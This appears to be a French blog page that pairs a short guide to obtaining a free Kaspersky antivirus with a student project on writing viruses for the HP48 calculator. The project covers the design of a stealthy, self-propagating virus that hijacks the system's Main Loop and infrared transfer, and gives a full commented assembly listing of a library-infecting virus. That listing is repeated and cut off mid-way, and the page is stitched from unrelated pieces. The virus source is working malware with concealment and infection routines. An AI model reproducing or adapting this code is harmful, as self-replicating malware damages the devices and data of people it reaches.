lundi 27 août 2012

Antivirus Kaspersky gratuit



Antivirus Kaspersky

Vous avez depuis cette année la possibilité d'obtenir l'antivirus le plus performant du marché gratuitement, pour un an renouvelable sur le site de l'académie...

Pour obtenir l'antivirus Kaspersky
copier le lien suivant:



cliquer sur «  un antivirus pour tous les personnels de l'académie »




cliquer sur Téléchargement (accès réservé)


Sur la fenêtre suivante vous indiquerez votre Login académique et votre mot de passe
exemple:
Identifiant de messagerie : francoie 
mot de passe:                     ******


Vous pourrez alors télécharger: l'antivirus
                                                   la clé d'activation qui vous sera envoyée sur votre boite académique...


ATTENTION... Il faut désinstaller l'antivirus que vous possédez avant de lancer l'installation...

Conclusion de la partie expérimentale : difficulté et intérêt de la programmation effectuée



Quels enseignements peut on tirer de ce travail de programmation concernant les virus ?
D’abord, on a prouvé l’incontestable supériorité des virus écrits en langage machine.
Ensuite, on s’aperçoit qu’il est particulièrement difficile d’écrire un code parasite auto-propageable et ce pour plusieurs raisons. La première est qu’il faut une connaissance extrêmement pointue du système informatique dans lequel doit évoluer le virus, d’abord pour y trouver la faille qui permettra la réalisation d’un virus, puis pour éviter que ce virus ne commette d’erreurs qui le trahissent, et pour pouvoir tirer au mieux partie de ce système dans l’écriture de virus les plus synthétiques et efficaces possibles. La seconde difficulté provient de l’emploi nécessaire du langage machine. Cela impose un long travail de réflexion sur papier et l’écriture préalable du code complet avant de le rentrer sur la machine. La phase de débbugage qui suit alors est d’autant plus difficile qu’un code en langage machine est peu lisible et contrôlable, et que les erreurs commises viennent souvent d’une compréhension insuffisante du système.
En contre partie à ces difficultés, l’écriture de virus a une dimension ludique certaine. En effet, la conception d’un virus commence par la traque des failles d’un système, qui peut prendre la forme d’un duel entre le programmeur et la machine, où le jeu consiste pour le premier à avoir assez d’imagination et d’astuce pour trouver un moyen d’atteindre son but. A bien y réfléchir, il y a peu de différence par exemple entre la recherche d’une solution à une partie d’échec et celle d’un moyen de concevoir un virus pour tel système. Lorsque l’on se prend au jeu, on finit même par imaginer des solutions de plus en plus audacieuses et par percevoir une forme d’esthétique dans les meilleurs d’entre elles. Un autre attrait des virus est la richesse d’imagination qu’ils autorisent. On a vu en effet la grande variété des techniques possibles et que l’on peut perfectionner sans fin. On peut ajouter à cela les possibilités indénombrables qu’offre la charge facultative.
L’écriture de virus apparaît donc comme un exercice de programmation assez amusant, et on comprend que des informaticiens se passionnent pour eux. Il faut ajouter à ce point de vue un dernier élément qui n’apparaît qu’après une certaine pratique des virus : le programmeur prend plaisir à voir évoluer son virus et à se laisser surprendre par lui. Avec les virus polymorphes génétiques, on a pressentis qu’on pouvait rapprocher les virus d’une notion de vie artificielle. Certains programmeurs vont jusqu’à imaginer des virus évolutifs qui peupleraient l’ordinateur et s’y feraient une lutte virtuelle, à la manière de jeux comme Core War, pour distraire l’utilisateur. Une chose est certaine : le concept de virus est extrêmement fertile en termes d’idées nouvelles.
Pour terminer sur un bémol, soulignons que les arguments précédents sont issus d’un point de vue d’informaticien, et ne prennent donc pas en compte le danger des virus nocifs. Il s’agit effectivement d’un genre de programmation à la fois riche et amusant, mais qui se montre redoutablement efficace lorsque il est employé à mauvais escient.

Erwan Lemonnier

Conclusion sur ce virus



Ce virus est le meilleur de la série de bien des points de vue.
Il utilise de manière optimale les possibilités de la HP48, ce qui lui donne une taille de 553.5 octets, soit deux fois moins que LiPA pour une efficacité bien supérieure. En effet, sa technique de camouflage est très élaborée. Il se désolidarise au maximum de la librairie porteuse pour éviter que l’on remonte à elle dans le cas où il serait identifié. Ainsi, sa partie active hors reset est située en mémoire des objets temporaires, sans lien avec la librairie origine. De plus, si l’on désassemble une librairie infectée, le seul indice d’une infection est une instruction supplémentaire de saut dans le Config Object. C’est d’ailleurs ainsi que le virus teste si une librairie est infectée. Enfin, quand bien même le virus serait repéré dans une librairie, il serait extrêmement difficile de le désassembler pour savoir ce qu’il fait, puisque le début de son code est chiffré. Et que sa programmation est très synthétique et peu orthodoxe.
Sa Main Loop est aussi rapide que celle du système, grâce à l’emploi du langage machine pour réaliser les tests. Au demeurant, ceux ci sont très nombreux et anticipent tout les problèmes possibles (le virus a été testé dans toutes les configurations possibles, et aucun bug ne s’est manifesté).
De plus, sa stratégie d’infection est excellente. L’infection dure moins d’une seconde et passe donc inaperçue (la machine fait parfois de tels arrêts, pour gérer sa mémoire). Ainsi, toute librairie en transit vers ou depuis une HP48 est infectée. Enfin, le virus peut comporter une charge utile, bénéfique ou non.
L’objectif de ce PIR a donc été atteint : voici réalisé un virus complet, opérationnel et performant.

Un virus système



On appellera virus système, sur la HP, un virus qui sera exécuté au moment du démarrage de la machine, indépendamment du fait qu’il infecte ou non des fichiers systèmes. En effet, il n’y a pas de fichiers système proprement dit sur une HP48.
Ce virus est une librairie qui s’installe dans le port 0 et détourne des instructions d’affichage et de gestion de la mémoire pour se camoufler. Pour cela, elle substitue à la Main Loop de la HP48 sa propre Main Loop, qui lui donne le contrôle de la calculatrice. De plus, elle détourne la fonction de transfert infrarouge de la calculatrice pour pouvoir se répandre d’une machine à l’autre. De ce fait, ce virus est baptisé LiPA, pour Librairie Parasite Autopropageable. Nous allons en détailler le fonctionnement, mais nous ne donnerons pas son listing, qu’il serait trop long de rendre compréhensible.



4.1.         Fonctionnement du reset de la HP48 et de sa Main Loop

A chaque reset de la machine, la CPU exécute le programme situé à l’adresse #00000. Celui-ci réinitialise toute la RAM, à l’exception de la zone qui contient les variables utilisateurs et du Port 0, et reconstruit les zones de la RAM où sont conservées les données du système (RAM réservée). Ce programme installe ensuite le mécanisme d’interprétation du RPL étendu, puis il exécute, entre autres, les Config Object de toutes les librairies recensées en ROM et en RAM. Classiquement, le Config Object contient une instruction attachant la librairie au répertoire maître, et éventuellement une instruction d’affichage signalant à l’utilisateur la présence de la librairie.
A la fin de son exécution, le programme de reset lit dans un champ spécifique de la RAM réservée l’adresse à laquelle se trouve la Main Loop qui est la boucle qui gère le fonctionnement de la HP48. Il exécute alors cette Main Loop. Il s’agit d’une boucle sans fin, située à l’adresse #385A7 en ROM et programmée en RPL étendu.. Elle contient successivement un appel à un programme de rafraîchissement de l’affichage et un programme de gestion du clavier, qui exécute l’ordre correspondant à une pression de touche en effectuant un contrôle d’erreur. C’est cette Main Loop qui définit le fonctionnement de la HP48 dans son usage courant.
Notons que le fonctionnement du reset et de la Main Loop n’est référencé dans aucun livre, mais il est possible de l’analyser en fouinant dans la ROM. Or, sa connaissance est nécessaire pour écrire un virus système sur HP48. Ceci est une bonne illustration d’un phénomène fréquent pour les virus informatique : leur conception nécessite de trouver des failles dans le système informatique, lesquelles ne sont souvent découvertes qu’en tâtonnant et par hasard.



4.2.         Fonctionnement de LiPA

LiPA tire profit de ces deux mécanismes pour prendre le contrôle de la HP48.
LiPA est une librairie et possède donc un Config Object. Celui-ci contient une séquence de langage machine (objet code) qui remplace l’adresse de la Main Loop contenue dans le champ précité de la RAM, par l’adresse d’une Main Loop modifiée contenue dans la librairie. Ainsi, à la fin du reset, le contrôle de la HP48 sera assuré par la Main Loop de LiPA et non par le système original. La Main Loop de LiPA est identique à celle de la HP, à quelques ajouts prés. En effet, LiPA effectue deux types de taches : elle se camoufle aux yeux de l’utilisateurs, et elle assure son auto-propagation. Pour cela, il faut détourner le sens de certaines combinaisons de touches au clavier, et remplacer certaines instructions du langage RPL.
Il est en effet possible de remplacer une instruction RPL par un programme ayant une action différente. La HP48 dans sa démarche pour interpréter une instruction depuis l’éditeur de texte de la ligne de commande commence par chercher si c’est le nom d’un programme contenu dans une librairie, grâce aux Hash Table. Et sa recherche débute par les librairies situées en RAM. Ainsi, si il existe deux programmes portant le même nom, l’un en ROM et l’autre en RAM, c’est ce dernier qui sera exécuté. Comme LiPA est une librairie, il est possible de redéfinir ainsi plusieurs des instructions de la HP48.
Les astuces employées dans LiPA étant toutes expliquées, nous allons maintenant détailler en deux temps la façon dont LiPA se camoufle et se propage.



4.2.1.      Système d’auto-camouflage de LiPA

Pour s’auto-camoufler, LiPA doit détourner deux types d’instructions : les instructions éditées en ligne de commande, et celles tapées par des raccourcis clavier, grâce au système de menu déroulant de la calculatrice.
Il n’y a qu’une instruction éditée à redéfinir : c’est la fonction PVARS qui met sur la pile de travail une liste contenant la description de toutes les librairies présentes dans un port. Il suffit donc de mettre dans LiPA un programme appelé PVARS, qui effectue le vrai PVARS par un appel direct en ROM, puis ôte de la liste obtenue les paramètres décrivant LiPA lorsqu’ils y sont.
La tache pour les raccourcis clavier est plus délicate : il faut inclure dans la Main Loop de LiPA un test pour savoir si l’effet de la touche enfoncée correspond à la demande d’affichage dans la zone d’écran des menus du contenu du Port 0. Si tel est le cas, il faut exécuter un programme qui reconstruit le graphique des menus qui s’affiche en bas d’écran, pour en enlever la case désignant LiPA.


4.2.2.      Système d’auto-propagation de LiPA

LiPA détourne la liaison infrarouge série de la HP48 pour se propager d’une machine à l’autre. En effet, la HP48 possède une interface infrarouge permettant l’émission réception avec une autre HP48, selon le protocole RS232. Il existe donc un menu et un jeu d’instruction permettant d’émettre et de recevoir des données (programmes, librairies…) par infrarouge. C’est même le mode de transmission le plus utilisé, les deux autres modes possibles étant le câble de transmission et les modules mémoires enfichables.
Le menu de gestion de l’interface infrarouge se présente sous la forme d’un menu déroulant offrant plusieurs options : ‘send to HP48’, ‘get from HP48’, ‘print display’, ‘print’, ‘transfer’ et ‘start server’. Nous souhaitons détourner l’option ’send to HP48’, et pour cela il n’existe pas d’autre moyen que de réécrire entièrement le programme d’affichage du menu, pour qu’il puisse appeler un programme d’infection lorsque l’option ‘send to HP48’ aura été sélectionnée. Ce programme d’infection affiche l’écran normal de saisie du nom de l’objet à transmettre, puis, au lieu de l’émettre immédiatement, teste si il s’agit d’un programme. Si c’est un programme et qu’il est assez gros pour que l’ajout de LiPA dans son corps ne soit pas trop visible, alors il modifie ce programme pour y inclure LiPA et des instructions d’installation de LiPA, lesquelles seront exécutées en même temps que le programme support sur la machine receveuse. Elles copieront LiPA dans le Port 0 de la machine receveuse et enlèveront LiPA du programme support.
Pour effectuer l’ensemble de ces opérations, il faut réécrire l’ensemble des programmes d’affichage du menu et d’exécution de ‘send to HP48’, et les évaluer dans la Main Loop de LiPA lorsqu’un appel au menu de l’interface infrarouge aura été fait par un appui de touche. Le programme qui effectue ces opérations est situé dans une librairie de la ROM, et la partie qui nous est utile fait environ 500 octets de long. On en créé donc une copie modifiée que l’on inclut dans la Main Loop de LiPA.
Il reste encore à détourner l’instruction SEND, éditable dans la ligne de commande, et qui sert à transférer un objet par la liaison infrarouge. Comme précédemment, on écrit un programme nommé SEND qui effectue le programme d’infection décrit plus haut, puis fait un appel au SEND véritable, en ROM.



4.3.         Conclusion sur LiPA

L’intérêt de ce virus réside dans les idées qui permettent de le concevoir. Sur la base de ces idées, on pourrait le faire évoluer pour écrire des versions beaucoup plus efficace que celle-ci, qui est déplorable.
LiPA mesure 1 Ko, ce qui est non négligeable dans une RAM parfois limitée à 32 Ko. Sa Main Loop est légèrement plus lente que celle de la HP, à cause des tests supplémentaires, mais c’est peu sensible. Ses défauts majeurs viennent des techniques de camouflage et de reproduction employées.
En effet, avec ses deux précautions de camouflage, LiPA peut passer inaperçue d’un utilisateur peu expérimenté. Cependant un utilisateur avertit, utilisant le RPL étendu, s’apercevra immédiatement du problème. Il ne pourra effacer LiPA directement, puisqu’elle contient la Main Loop active, et aura donc quelques difficultés à la désinstaller, mais y parviendra. Dans l’optique d’un bon virus, LiPA est donc un échec, car trop voyant.
En outre, la technique employée par LiPA pour s’installer sur une autre machine est à la fois incertaine et très voyante. En effet, il est rare de communiquer par infrarouge un programme de taille assez importante pour que LiPA s’y fixe, compte tenu du faible débit de cette liaison (9600 baud). D’autre part, une fois LiPA installée dans le Port 0 de l’autre machine, celle-ci va automatiquement provoquer un reset pour enregistrer les paramètres de cette nouvelle librairie. N’importe quel utilisateur en déduira la présence d’une nouvelle librairie et la recherchera.
Cependant, on peut imaginer des méthodes de propagation beaucoup plus sûres. On pourrait par exemple inclure LiPA dans une librairie à transmettre, ce qui serait plus discret, notamment au niveau du reset qui serait alors provoqué par la librairie porteuse, mais cela demanderait d’écrire un code en langage machine pour modifier la structure de la librairie porteuse. On pourrait également perfectionner les techniques de camouflage en assurant un contrôle plus précis des opérations effectuées par l’utilisateur. Une fois encore, libre court est laissé à l’imagination du programmeur pour perfectionner le virus.


Ce qui suit est le listing commenté du virus. Le comprendre en détail nécessiterait une connaissance préalable très approfondie du fonctionnement de la HP48, qui dépasse le cadre de ce PIR. Le fonctionnement du virus à été résumé en 3.2, et les commentaires permettrons de suivre pas à pas le rôle des séquences écrites en assembleur.




/* Processus de recherche d’un programme contenu dans une librairie, à
/* infecter. C’est ce code qui est exécuté à la place du programme hôte
/* lorsque celui-ci est appelé.

*deb
GOSBVL 0679B        /* Teste si il reste assez de mémoire libre dans
LCHEX 00200         /* la RAM pour reproduire le virus. Si non, on va à
?C<D A              /* *sortie pour quitter le code en langage machine.
GOYES okmem         /* Si oui, va à okmem
GOTO sortie

*okmem              /* Teste le modèle de la HP48. Si c’est une HP48
D1= 80000           /* G ou GX, va à *okhp, sinon, pour éviter toute
A=DAT1 A            /* erreur due à une incompatibilité, on va à
LCHEX A5C3F         /* *sortie
?A=C A       
GOYES okhp   
GOTO sortie

*okhp
D1= 80536           /* Lit l’adresse de début du Port 0
A=DAT1 A            /* pour y chercher des librairies à infecter 
R1=A               
D1= 809A3           /* Lit le nombre de librairies attachées au
A=DAT1 X            /* répertoire maître
B=A A
D1=D1+ 3



*etudlib            /* Boucle qui parcourt l’ensemble des librairies
AD1EX               /* attachées
D0=A
D1=A
D1=D1+ 16
B=B-1 X
GONC ok1            /* Si toutes les librairies ont été regardées sans
GOTO sortie         /* succès, on quitte

*ok1
D0=D0+ 8
A=DAT0 A
?A<>0 A             /* L’adresse de la librairie est elle valide ?
GOYES etudlib       /* Si non, on passe à la librairie suivante

D0=D0- 5
A=DAT0 A            /* S’agit il d’une librairie située dans la RAM ?
GOSUB test          /* (et pas la ROM !)
GONC etudlib        /* Si non, librairie suivante

D0= 80319           /* Sauvegarde l’adresse de la librairie dans un
DAT0=A A            /* buffer d’entrée sortie situe en #80319
D0=A
R0=A
D0=D0+ 7
A=DAT0 A            /* Cette librairie a-t-elle un nom ?
?A<>0 A             /* (si elle n’en a pas, elle est en ROM)
GOYES etudlib       /* Si non, librairie suivante

D0=D0- 7      /* Toute la séquence qui suit sert à tester si la
GOSUB idl->szl /* librairie repérée est déjà infectée
A=DAT0 A      /* pour cela, le virus positionne un registre pointeur
CD0EX         /* d’adresse sur le début de son propre code, et un
A=A+C A       /* second sur l’endroit où se trouverait sa copie dans
GOSUB setc    /* la librairie testée. Puis on effectue une comparaison
A=A-C A       /* bit par bit de ces deux zones sur une longueur de #FF
D0=A          /* quartets, grâce à un appel à un code situé en ROM
D0=D0+ 15     /* à l’adresse #07831, via un saut long à cette adresse
D0=D0+ 3      /* (GOSBVL 07831)
A=B A
R4=A
AD1EX
R3=A
A=PC
GOINC deb
A=A+C A
D1=A
LCHEX 0FF
GOSBVL 07831
A=R3
D1=A
A=R4
B=A A         /* Si la librairie trouvée est déjà infectée, on passe
GOC ok2       /* à la librairie suivante, sinon, on l’infecte
GOTO etudlib  /* et on va à ok2

*ok2
A=R0
D0=A
D0=D0+ 13     /* D0 pointe sur la Link Table de la librairie
A=DAT0 A
CD0EX
A=A+C A
D0=A
D0=D0+ 5
A=DAT0 A
A=A-5 A
C=0 A  
LCHEX 19      /* Prend le min du nombre d’objets dans la
?A>C A        /* librairie et de 5. Ainsi, on examinera
GOYES sup     /* au plus les 5 premiers objets de la librairie
C=A A         /* on cherche en effet un objet programme
*sup          /* à infecter
D=C A

*findprg      /* Cette boucle parcours les au plus 5 premiers
D0=D0+ 5      /* objets de la librairie
D=D-5 A      
GONC ok3            /* Si on a examiné tout les objets sans succès
GOTO etudlib        /* on passe à la librairie suivante

*ok3
A=DAT0 A
CD0EX
R2=C
A=A+C A
R3=A
D0=A
A=DAT0 A
C=R2
D0=C
LCHEX 02D9D         /* L’objet est-il diffèrent d’un programme ?
?A<>C A             /* si oui, on passe à l’objet suivant
GOYES ok3           /* et on va donc à *findprg

D0= 8031E           /* On sauvegarde l’adresse de l’objet à infecter
A=R3                /* dans le buffer d’entrée sortie en #8031E
DAT0=A A
D0=D0+ 5
A=R2
DAT0=A A
A=PC          /* Pour réserver la mémoire nécessaire à l’infection,
GOINC e1      /* on crée un entier binaire dont la taille
GOTO exit                       /* est égale à celle du virus et
/* on le stocke dans le Port 0.
*e1           /* Pour cela, il faut utiliser le RPL étendu
$11920        /* et faire des appels à des programmes RPL en ROM.
$BD300       
$5F300        /* Les données précédées d’un $ sont du code RPL qui
$1EDE0        /* est écrit tel quel dans le code du virus, et qui
$95865        /* crée l’entier et le copie dans le port 0.
$C4356        /* On programme donc une sortie du code machine du virus
$18E50        /* vers cette séquence d’instructions.
$F0512



/* Début du processus d’infection

$CCD20        /* Une fois l’entier créé, on reviens au langage machine
$B2130
GOSBVL 0679B        /* tous les tests s’étant révélés favorables,
D0= 80319           /* on va désormais infecter la librairie dont
A=DAT0 A            /* les propriétés sont conservées dans le
R1=A                /* buffer d’entrée sortie en #80319
A=PC                /* On les y récupère
GOINC retour
A=A+C A
GOSUB test
GONC suit1
GOSUB setc
A=A-C A
*suit1              /* Les manœuvres qui suivent on pour but de
C=A A               /* décaler l’ensemble de la mémoire située entre la
RSTK=C              /* fin de l’entier binaire (situé au début du
C=D A               /* Port 0) et l’endroit où va s’implanter le virus,
A=C A               /* vers le début du Port 0. Le virus n’aura
D1=A                /* qu’à insérer sa copie dans l’espace ainsi
GOSUB setc          /* ménagé.
A+A+C A             /* Il faut également modifier l’adresse de
B=A A               /* retour au virus lors de l’exécution du code
A=R1                /* en ROM, dans le cas où le virus a lui aussi
D0=A                /* été translaté
GOSUB idl->szl
A=DAT0 A
CD0EX
C=C+A A
C=C-B A
C=C-4 A             /* Fait un appel à un programme en langage
A=B A               /* machine, situé en ROM à l’adresse #0670C
D0=A                /* et qui effectue le décalage souhaité
LAHEX 0670C         /* le retour se fait à *retour
PC=A   

*retour
D0= 8031E
A=DAT0 A
GOSUB setc
A=A-C A
D0=A
R2=A
A=R1
A=A-C A
R1=A
D0=D0- 7      /* On recopie la zone d’identification du programme sain
A=DAT0 7      /* vers la copie infectée de lui même qui se trouve
DAT1=A 7      /* en fin de librairie.
AD1EX              
D1=A
R0=A
A=PC
GOINC deb
A=A+C A
D0=A
D0=D0- 15
GOSUB setc
C=C- 8

*CopyVir            /* Cette boucle recopie le virus
A=DAT0 1            /* vers la fin de la librairie, après
DAT1=A 1            /* la zone d’identification écrite auparavant
D0=D0+ 1
D1=D1+ 1
C=C-1 A
GONC CopyVir

D0= 80323
A=DAT0 A
GOSUB setc
A+A-C A
R3=A
D0=A
C=R0
C=C-A A             /* Modifie la Link Table
DAT0=C A            /* en remplaçant l’offset vers le programme sain
                    /* par celui vers sa copie infectée
A=PC               
GOINC saut
A+A+C A
A=A-B A
C=R0
A=A+C A
D0=A
D0=D0+ 15
A=R2
CD0EX
A=A-C A
D0=C
D0=D0+ 2      /* Modifie l’offset de saut vers le programme infecté
DAT0=A A      /* dans la nouvelle copie du virus

A=R1
D0=A
GOSUB idl->szl            /* Recalcul la taille de la librairie modifiée
GOSUB setc         
A=DAT0 A

A=A+C A
DAT0=A A      /* Remplace l’ancienne taille par la nouvelle.
D0=D0- 5      /* Recalcul le CRC de la librairie en appelant
GOSBVL 0A01C  /* un code situé en ROM à l’adresse #A01C

C=0 A              
C=DAT0 4     
C=C+A A
DAT0=C 4      /* puis réécrit ce CRC à la place de l’ancien

D0=D0+ 4
AD0EX
R1=A
D0= 809A3     /* Adresse d’une zone de pointeurs pointant sur
A=DAT0 X      /* toutes les librairies existantes sur la HP48
B=A A  
D0=D0+ 3

*LOOP1        /* Cette boucle parcourt tout les pointeurs de librairie
AD0EX         /* et les décale si la librairie pointée était dans
D1=A          /* la zone mémoire qui a été translaté
D0=A
D0=D0+ 16
B=B-1 X       /* Si tout les pointeurs ont été examinés,
GOC home      /* on va à *home

D1=D1+ 8
A=DAT1 A
?A<>0 A             /* Est-ce une librairie système ?
GOYES loop1         /* si oui, va à *loop1

D1=D1- 5
A=DAT1 A
GOSUB test          /* test regarde si la librairie utilisateur
GONC loop1          /* était dans la zone translatée

GOSUB moins         /* Si oui, on décale le pointeur
GOTO loop1

*home               /* Autre série de pointeurs à décaler : ceux
D1= 80711           /* contenus dans le répertoire maître pour
C=DAT1 A            /* identifier les librairies qui lui sont attachées
D1=C
D1=D1+ 5
C=DAT1 X
B=C A
D1=D1+ 6

*loop2
B=B-1 X             /* si tout les pointeurs ont été examinés,
GOC sortie          /* on quitte le code : on va vers *sortie

A=DAT1 A
GOSUB test
GONC a21
GOSUB moins
*a21                /* il y a plusieurs types de pointeurs
D1=D1+ 5            /* à tester, dirigés vers la Hash Table,
A=DAT1 A            /* le Message Array, et le dernier objet
GOSUB test          /* de la librairie
GONC a22
GOSUB moins
*a22
D1=D1+ 8
GOTO loop2

*sortie       /* Le virus a finit son exécution : il faut désormais
A=PC          /* exécuter le programme infecté
*saut  
LCHEX 00074   /* Ce code n’étant pas en situation d’infection,
C=C+5 A       /* il n’a pas de programme à exécuter, et se contente
*exit         /* de sortir sur un programme vide
A=A+C A
GOSBVL 067D2
D0=A
GOSBVL 2D564  /* Sortie



*test               /* Teste si un la librairie pointée
CD0EX               /* était dans la zone translatée
R3=C
D0= 80716
C=DAT0 A
D=C A
C=R3
D0=C
C=D A
?C=<A A
GOYES toto
RTNCC
*toto
C=R1
?C>A A
RTNYES
RTNCC

*idl->szl           /* Sous-programme qui déplace le pointeur
D0=D0- 2            /* D0 vers le début de la librairie
A=0 A               /* lorsque celui ci pointe sur son numéro
A=DAT0 B
A=A+A A
CD0EX
C=C-A A
D0=C
D0=D0- 7
RTN

*moins        /* Décale un pointeur vers une librairie
A=DAT1 A      /* translatée
GOSUB SETC
A=A-C A
DAT1=A A
RTN

*setc         /* Charge la taille du virus dans le registre C champ A
LCHEX 0041F
RTN












3.4.         Commentaires sur ce virus

Ce virus est déjà de bien meilleur qualité que le précèdent. Son temps de réplication est d’environ une demi seconde, et les nombreux tests effectués permettent d’assurer une plus grande discrétion, notamment en évitant de produire des erreurs qui le trahiraient. De plus, il possède une structure volontairement aberrante qui n’est pas celle d’un objet code classique de la HP48, puisqu’il possède une séquence d’instructions en RPL étendu. De ce fait, il est impossible d’utiliser un désassembleur automatique pour l’éditer : il faudrait faire ce travail à la main. Quand bien même quelqu’un réussirait à le décoder, ce virus profite de nombreuses astuces de programmation qui rendent sa compréhension très délicate. Cependant, ces acrobaties de programmation sont justifiées avant tout par une volonté de réduire au maximum la taille du virus.
Sa taille de 514 octets n’est pas négligeable, sachant que la taille moyenne d’une librairie oscille entre 5 et 10 Ko, mais on se rendra compte à travers d’autre exemples qu’il est difficile d’écrire un virus pour librairie d taille inférieure. De plus, il reste quelques bugs de programmations, qui se produisent lorsqu’il y a superposition de modules mémoires, car alors, le système de la HP48 décale virtuellement certains modules de mémoires, ce qui pose des problèmes dans le calcul des adresses de retour. Mais une telle configuration se produit rarement. Enfin, un scanner viendrait immédiatement à bout de ce virus, qui en plus est facile à désinstaller. Sa stratégie de défense consiste en fait à se faire le plus discret possible.
On se rend  ainsi compte de la difficulté qu’il y a à programmer des virus en assembleurs : il faut une connaissance très détaillée du fonctionnement de la machine. De plus, la programmation en langage machine, comme l’aspect du listing le laisse deviner, est extrêmement délicate à mettre en œuvre. Il faut écrire l’organigramme détaillé du programme avant de le réaliser, et la recherche des erreurs est très fastidieuse.

Listing du virus informatique




Ce qui suit est le listing commenté du virus. Le comprendre en détail nécessiterait une connaissance préalable très approfondie du fonctionnement de la HP48, qui dépasse le cadre de ce PIR. Le fonctionnement du virus à été résumé en 3.2, et les commentaires permettrons de suivre pas à pas le rôle des séquences écrites en assembleur.




/* Processus de recherche d’un programme contenu dans une librairie, à
/* infecter. C’est ce code qui est exécuté à la place du programme hôte
/* lorsque celui-ci est appelé.

*deb
GOSBVL 0679B        /* Teste si il reste assez de mémoire libre dans
LCHEX 00200         /* la RAM pour reproduire le virus. Si non, on va à
?C<D A              /* *sortie pour quitter le code en langage machine.
GOYES okmem         /* Si oui, va à okmem
GOTO sortie

*okmem              /* Teste le modèle de la HP48. Si c’est une HP48
D1= 80000           /* G ou GX, va à *okhp, sinon, pour éviter toute
A=DAT1 A            /* erreur due à une incompatibilité, on va à
LCHEX A5C3F         /* *sortie
?A=C A       
GOYES okhp   
GOTO sortie

*okhp
D1= 80536           /* Lit l’adresse de début du Port 0
A=DAT1 A            /* pour y chercher des librairies à infecter 
R1=A               
D1= 809A3           /* Lit le nombre de librairies attachées au
A=DAT1 X            /* répertoire maître
B=A A
D1=D1+ 3



*etudlib            /* Boucle qui parcourt l’ensemble des librairies
AD1EX               /* attachées
D0=A
D1=A
D1=D1+ 16
B=B-1 X
GONC ok1            /* Si toutes les librairies ont été regardées sans
GOTO sortie         /* succès, on quitte

*ok1
D0=D0+ 8
A=DAT0 A
?A<>0 A             /* L’adresse de la librairie est elle valide ?
GOYES etudlib       /* Si non, on passe à la librairie suivante

D0=D0- 5
A=DAT0 A            /* S’agit il d’une librairie située dans la RAM ?
GOSUB test          /* (et pas la ROM !)
GONC etudlib        /* Si non, librairie suivante

D0= 80319           /* Sauvegarde l’adresse de la librairie dans un
DAT0=A A            /* buffer d’entrée sortie situe en #80319
D0=A
R0=A
D0=D0+ 7
A=DAT0 A            /* Cette librairie a-t-elle un nom ?
?A<>0 A             /* (si elle n’en a pas, elle est en ROM)
GOYES etudlib       /* Si non, librairie suivante

D0=D0- 7      /* Toute la séquence qui suit sert à tester si la
GOSUB idl->szl /* librairie repérée est déjà infectée
A=DAT0 A      /* pour cela, le virus positionne un registre pointeur
CD0EX         /* d’adresse sur le début de son propre code, et un
A=A+C A       /* second sur l’endroit où se trouverait sa copie dans
GOSUB setc    /* la librairie testée. Puis on effectue une comparaison
A=A-C A       /* bit par bit de ces deux zones sur une longueur de #FF
D0=A          /* quartets, grâce à un appel à un code situé en ROM
D0=D0+ 15     /* à l’adresse #07831, via un saut long à cette adresse
D0=D0+ 3      /* (GOSBVL 07831)
A=B A
R4=A
AD1EX
R3=A
A=PC
GOINC deb
A=A+C A
D1=A
LCHEX 0FF
GOSBVL 07831
A=R3
D1=A
A=R4
B=A A         /* Si la librairie trouvée est déjà infectée, on passe
GOC ok2       /* à la librairie suivante, sinon, on l’infecte
GOTO etudlib  /* et on va à ok2

*ok2
A=R0
D0=A
D0=D0+ 13     /* D0 pointe sur la Link Table de la librairie
A=DAT0 A
CD0EX
A=A+C A
D0=A
D0=D0+ 5
A=DAT0 A
A=A-5 A
C=0 A  
LCHEX 19      /* Prend le min du nombre d’objets dans la
?A>C A        /* librairie et de 5. Ainsi, on examinera
GOYES sup     /* au plus les 5 premiers objets de la librairie
C=A A         /* on cherche en effet un objet programme
*sup          /* à infecter
D=C A

*findprg      /* Cette boucle parcours les au plus 5 premiers
D0=D0+ 5      /* objets de la librairie
D=D-5 A      
GONC ok3            /* Si on a examiné tout les objets sans succès
GOTO etudlib        /* on passe à la librairie suivante

*ok3
A=DAT0 A
CD0EX
R2=C
A=A+C A
R3=A
D0=A
A=DAT0 A
C=R2
D0=C
LCHEX 02D9D         /* L’objet est-il diffèrent d’un programme ?
?A<>C A             /* si oui, on passe à l’objet suivant
GOYES ok3           /* et on va donc à *findprg

D0= 8031E           /* On sauvegarde l’adresse de l’objet à infecter
A=R3                /* dans le buffer d’entrée sortie en #8031E
DAT0=A A
D0=D0+ 5
A=R2
DAT0=A A
A=PC          /* Pour réserver la mémoire nécessaire à l’infection,
GOINC e1      /* on crée un entier binaire dont la taille
GOTO exit                       /* est égale à celle du virus et
/* on le stocke dans le Port 0.
*e1           /* Pour cela, il faut utiliser le RPL étendu
$11920        /* et faire des appels à des programmes RPL en ROM.
$BD300       
$5F300        /* Les données précédées d’un $ sont du code RPL qui
$1EDE0        /* est écrit tel quel dans le code du virus, et qui
$95865        /* crée l’entier et le copie dans le port 0.
$C4356        /* On programme donc une sortie du code machine du virus
$18E50        /* vers cette séquence d’instructions.
$F0512



/* Début du processus d’infection

$CCD20        /* Une fois l’entier créé, on reviens au langage machine
$B2130
GOSBVL 0679B        /* tous les tests s’étant révélés favorables,
D0= 80319           /* on va désormais infecter la librairie dont
A=DAT0 A            /* les propriétés sont conservées dans le
R1=A                /* buffer d’entrée sortie en #80319
A=PC                /* On les y récupère
GOINC retour
A=A+C A
GOSUB test
GONC suit1
GOSUB setc
A=A-C A
*suit1              /* Les manœuvres qui suivent on pour but de
C=A A               /* décaler l’ensemble de la mémoire située entre la
RSTK=C              /* fin de l’entier binaire (situé au début du
C=D A               /* Port 0) et l’endroit où va s’implanter le virus,
A=C A               /* vers le début du Port 0. Le virus n’aura
D1=A                /* qu’à insérer sa copie dans l’espace ainsi
GOSUB setc          /* ménagé.
A+A+C A             /* Il faut également modifier l’adresse de
B=A A               /* retour au virus lors de l’exécution du code
A=R1                /* en ROM, dans le cas où le virus a lui aussi
D0=A                /* été translaté
GOSUB idl->szl
A=DAT0 A
CD0EX
C=C+A A
C=C-B A
C=C-4 A             /* Fait un appel à un programme en langage
A=B A               /* machine, situé en ROM à l’adresse #0670C
D0=A                /* et qui effectue le décalage souhaité
LAHEX 0670C         /* le retour se fait à *retour
PC=A   

*retour
D0= 8031E
A=DAT0 A
GOSUB setc
A=A-C A
D0=A
R2=A
A=R1
A=A-C A
R1=A
D0=D0- 7      /* On recopie la zone d’identification du programme sain
A=DAT0 7      /* vers la copie infectée de lui même qui se trouve
